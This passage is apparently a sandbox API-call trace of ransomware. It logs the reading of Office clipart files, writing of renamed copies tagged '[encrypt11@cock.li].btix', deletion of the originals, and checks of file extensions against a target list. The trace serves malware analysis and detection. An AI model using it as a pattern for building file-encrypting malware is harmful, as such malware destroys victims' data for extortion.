lpOverlapped=0x0) returned 1 [0156.052] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.052] SetEndOfFile (hFile=0x380) returned 1 [0156.052] CloseHandle (hObject=0x380) returned 1 [0156.052] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.052] SetEndOfFile (hFile=0x37c) returned 1 [0156.053] CloseHandle (hObject=0x37c) returned 1 [0156.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0156.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0156.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0156.054] lstrlenW (lpString=".doc") returned 4 [0156.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.054] lstrlenW (lpString=".docx") returned 5 [0156.054] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0156.054] lstrlenW (lpString=".pdf") returned 4 [0156.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.054] lstrlenW (lpString=".xls") returned 4 [0156.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.054] lstrlenW (lpString=".xlsx") returned 5 [0156.054] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0156.054] lstrlenW (lpString=".ppt") returned 4 [0156.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0156.054] lstrlenW (lpString=".zip") returned 4 [0156.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.054] lstrlenW (lpString=".rar") returned 4 [0156.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.054] lstrlenW (lpString=".bz2") returned 4 [0156.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.054] lstrlenW (lpString=".7z") returned 3 [0156.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0156.054] lstrlenW (lpString=".dbf") returned 4 [0156.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0156.055] lstrlenW (lpString=".1cd") returned 4 [0156.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0156.055] lstrlenW (lpString=".jpg") returned 4 [0156.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.055] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.055] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.056] GetLastError () returned 0x0 [0156.056] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x16e8, lpOverlapped=0x0) returned 1 [0156.063] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x16f0, lpOverlapped=0x0) returned 1 [0156.064] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.064] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.064] SetEndOfFile (hFile=0x380) returned 1 [0156.064] CloseHandle (hObject=0x380) returned 1 [0156.064] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.064] SetEndOfFile (hFile=0x37c) returned 1 [0156.065] CloseHandle (hObject=0x37c) returned 1 [0156.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0156.067] lstrlenW (lpString=".doc") returned 4 [0156.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".docx") returned 5 [0156.067] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0156.067] lstrlenW (lpString=".pdf") returned 4 [0156.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".xls") returned 4 [0156.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.067] lstrlenW (lpString=".xlsx") returned 5 [0156.067] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0156.067] lstrlenW (lpString=".ppt") returned 4 [0156.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0156.067] lstrlenW (lpString=".zip") returned 4 [0156.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.067] lstrlenW (lpString=".rar") returned 4 [0156.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".bz2") returned 4 [0156.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.067] lstrlenW (lpString=".7z") returned 3 [0156.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0156.067] lstrlenW (lpString=".dbf") returned 4 [0156.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0156.068] lstrlenW (lpString=".1cd") returned 4 [0156.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0156.068] lstrlenW (lpString=".jpg") returned 4 [0156.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.071] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.071] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0156.072] GetLastError () returned 0x0 [0156.072] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x13ec, lpOverlapped=0x0) returned 1 [0156.080] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0156.081] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.081] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.082] SetEndOfFile (hFile=0x39c) returned 1 [0156.082] CloseHandle (hObject=0x39c) returned 1 [0156.082] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.082] SetEndOfFile (hFile=0x364) returned 1 [0156.083] CloseHandle (hObject=0x364) returned 1 [0156.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 1 [0156.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0156.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0156.085] lstrlenW (lpString=".doc") returned 4 [0156.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.085] lstrlenW (lpString=".docx") returned 5 [0156.085] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0156.085] lstrlenW (lpString=".pdf") returned 4 [0156.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.085] lstrlenW (lpString=".xls") returned 4 [0156.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.085] lstrlenW (lpString=".xlsx") returned 5 [0156.085] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0156.085] lstrlenW (lpString=".ppt") returned 4 [0156.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0156.085] lstrlenW (lpString=".zip") returned 4 [0156.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.085] lstrlenW (lpString=".rar") returned 4 [0156.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.085] lstrlenW (lpString=".bz2") returned 4 [0156.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.085] lstrlenW (lpString=".7z") returned 3 [0156.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0156.085] lstrlenW (lpString=".dbf") returned 4 [0156.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0156.086] lstrlenW (lpString=".1cd") returned 4 [0156.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0156.086] lstrlenW (lpString=".jpg") returned 4 [0156.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.089] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.089] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.090] GetLastError () returned 0x0 [0156.090] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xb57d, lpOverlapped=0x0) returned 1 [0156.109] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xb580, lpOverlapped=0x0) returned 1 [0156.111] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.111] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.111] SetEndOfFile (hFile=0x380) returned 1 [0156.111] CloseHandle (hObject=0x380) returned 1 [0156.111] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.111] SetEndOfFile (hFile=0x37c) returned 1 [0156.112] CloseHandle (hObject=0x37c) returned 1 [0156.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 1 [0156.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0156.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0156.113] lstrlenW (lpString=".doc") returned 4 [0156.113] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.113] lstrlenW (lpString=".docx") returned 5 [0156.113] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0156.113] lstrlenW (lpString=".pdf") returned 4 [0156.113] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.113] lstrlenW (lpString=".xls") returned 4 [0156.113] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.113] lstrlenW (lpString=".xlsx") returned 5 [0156.113] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0156.113] lstrlenW (lpString=".ppt") returned 4 [0156.114] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0156.114] lstrlenW (lpString=".zip") returned 4 [0156.114] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.114] lstrlenW (lpString=".rar") returned 4 [0156.114] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.114] lstrlenW (lpString=".bz2") returned 4 [0156.114] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.114] lstrlenW (lpString=".7z") returned 3 [0156.114] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0156.114] lstrlenW (lpString=".dbf") returned 4 [0156.114] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0156.114] lstrlenW (lpString=".1cd") returned 4 [0156.114] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0156.114] lstrlenW (lpString=".jpg") returned 4 [0156.114] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.116] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.117] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0156.117] GetLastError () returned 0x0 [0156.117] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xb12e, lpOverlapped=0x0) returned 1 [0156.127] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xb130, lpOverlapped=0x0) returned 1 [0156.128] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.128] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.128] SetEndOfFile (hFile=0x39c) returned 1 [0156.128] CloseHandle (hObject=0x39c) returned 1 [0156.128] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.128] SetEndOfFile (hFile=0x364) returned 1 [0156.129] CloseHandle (hObject=0x364) returned 1 [0156.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 1 [0156.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0156.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0156.130] lstrlenW (lpString=".doc") returned 4 [0156.130] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.130] lstrlenW (lpString=".docx") returned 5 [0156.130] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0156.130] lstrlenW (lpString=".pdf") returned 4 [0156.130] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.130] lstrlenW (lpString=".xls") returned 4 [0156.130] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.130] lstrlenW (lpString=".xlsx") returned 5 [0156.130] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0156.131] lstrlenW (lpString=".ppt") returned 4 [0156.131] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0156.131] lstrlenW (lpString=".zip") returned 4 [0156.131] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.131] lstrlenW (lpString=".rar") returned 4 [0156.131] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.131] lstrlenW (lpString=".bz2") returned 4 [0156.131] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.131] lstrlenW (lpString=".7z") returned 3 [0156.131] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0156.131] lstrlenW (lpString=".dbf") returned 4 [0156.131] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0156.131] lstrlenW (lpString=".1cd") returned 4 [0156.131] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0156.131] lstrlenW (lpString=".jpg") returned 4 [0156.131] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.131] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.132] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0156.132] GetLastError () returned 0x0 [0156.132] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x907d, lpOverlapped=0x0) returned 1 [0156.387] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x9080, lpOverlapped=0x0) returned 1 [0156.388] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.388] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.389] SetEndOfFile (hFile=0x39c) returned 1 [0156.596] CloseHandle (hObject=0x39c) returned 1 [0156.596] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.596] SetEndOfFile (hFile=0x364) returned 1 [0156.597] CloseHandle (hObject=0x364) returned 1 [0156.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 1 [0156.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0156.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0156.598] lstrlenW (lpString=".doc") returned 4 [0156.598] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.598] lstrlenW (lpString=".docx") returned 5 [0156.598] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0156.598] lstrlenW (lpString=".pdf") returned 4 [0156.598] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.598] lstrlenW (lpString=".xls") returned 4 [0156.598] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.598] lstrlenW (lpString=".xlsx") returned 5 [0156.598] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0156.598] lstrlenW (lpString=".ppt") returned 4 [0156.598] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0156.598] lstrlenW (lpString=".zip") returned 4 [0156.598] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.598] lstrlenW 